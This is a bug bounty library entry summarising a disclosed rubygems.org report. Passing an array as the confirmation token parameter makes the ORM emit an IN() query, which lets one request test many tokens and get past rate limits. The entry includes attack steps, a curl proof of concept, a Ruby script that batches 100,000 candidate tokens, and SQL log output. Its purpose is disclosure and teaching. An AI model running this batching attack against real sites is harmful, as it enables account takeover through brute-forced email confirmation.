# rubygems.org Batching attack to `confirmation_token` by bypass rate limit

Array param token[] in email confirmation made ActiveRecord build an IN() query, letting one request test millions of confirmation tokens and bypass rate limits.

- Payout: $480
- Severity: low
- Program: Internet Bug Bounty
- Found by: ooooooo_q
- Disclosed: 2022-07-13
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1559262
- Library page: https://bugbountylibrary.com/r/h1%3A1559262
- Tags: area:web domain:web impact:ato kind:bounty platform:hackerone sev:low tech:ruby technique:param-pollution technique:source-review vuln:auth-bypass vuln:business-logic

**Target:** rubygems.org EmailConfirmationsController#validate_confirmation_token
**Root cause:** params[:token] passed directly to User.find_by(confirmation_token: ...); when token is an array, ActiveRecord generates WHERE confirmation_token IN (...) instead of a single equality, so one request checks many tokens.
**Steps:**
1. Send `GET /email_confirmations/confirm?token[]=key1&token[]=key2`
2. Observe SQL `WHERE "users"."confirmation_token" IN ($1, $2) LIMIT $3` in logs
3. Batch up to ~2M tokens per request (nginx client_max_body_size 500M allows ~12M via JSON body)
4. Repeat across IPs to brute-force confirmation tokens within the 3h expiry window
**How found:** Author recognized the same pattern as a prior report (#449356) on a different controller and checked EmailConfirmationsController for the same array-param-to-IN-query flaw.
**Exploitation:** Attacker submits large arrays of candidate tokens in a single request; each request tests millions of tokens against the DB, defeating the 10 req/s rate limit. On match, confirm_email_success calls confirm_email! and signs the user in (unless MFA enabled).
**Insight:** When a controller passes params straight into find_by, test array-typed params (`param[]=`) to see if the ORM emits IN() — this turns any token/lookup endpoint into a batched oracle that sidesteps per-request rate limits.

## Proof of concept (copied exactly from the original report)

**Curl request with token array**

```
❯ curl --globoff 'http://127.0.0.1:3000/email_confirmations/confirm?token[]=key1&token[]=key2'

<html><body>You are being <a href="http://127.0.0.1:3000/">redirected</a>.</body></html>%
```

**Ruby batching attack script**

```
require 'net/http'
require 'securerandom'
require 'json'

# https://github.com/thoughtbot/clearance/blob/main/lib/clearance/token.rb
keys = 100_000.times.map{SecureRandom.hex(20).encode('UTF-8')}

uri = URI.parse("http://127.0.0.1:3000/email_confirmations/confirm")
http = Net::HTTP.new(uri.host, uri.port)
req = Net::HTTP::Get.new(uri.path)
req["Content-Type"] = "application/json"
req.body = {token: keys}.to_json

res = http.request(req)
puts res.body
```

**SQL IN clause from array tokens**

```
User Load (1.8ms)  SELECT "users".* FROM "users" WHERE "users"."confirmation_token" IN ($1, $2) LIMIT $3  [["confirmation_token", "key1"], ["confirmation_token", "key2"], ["LIMIT", 1]]
```

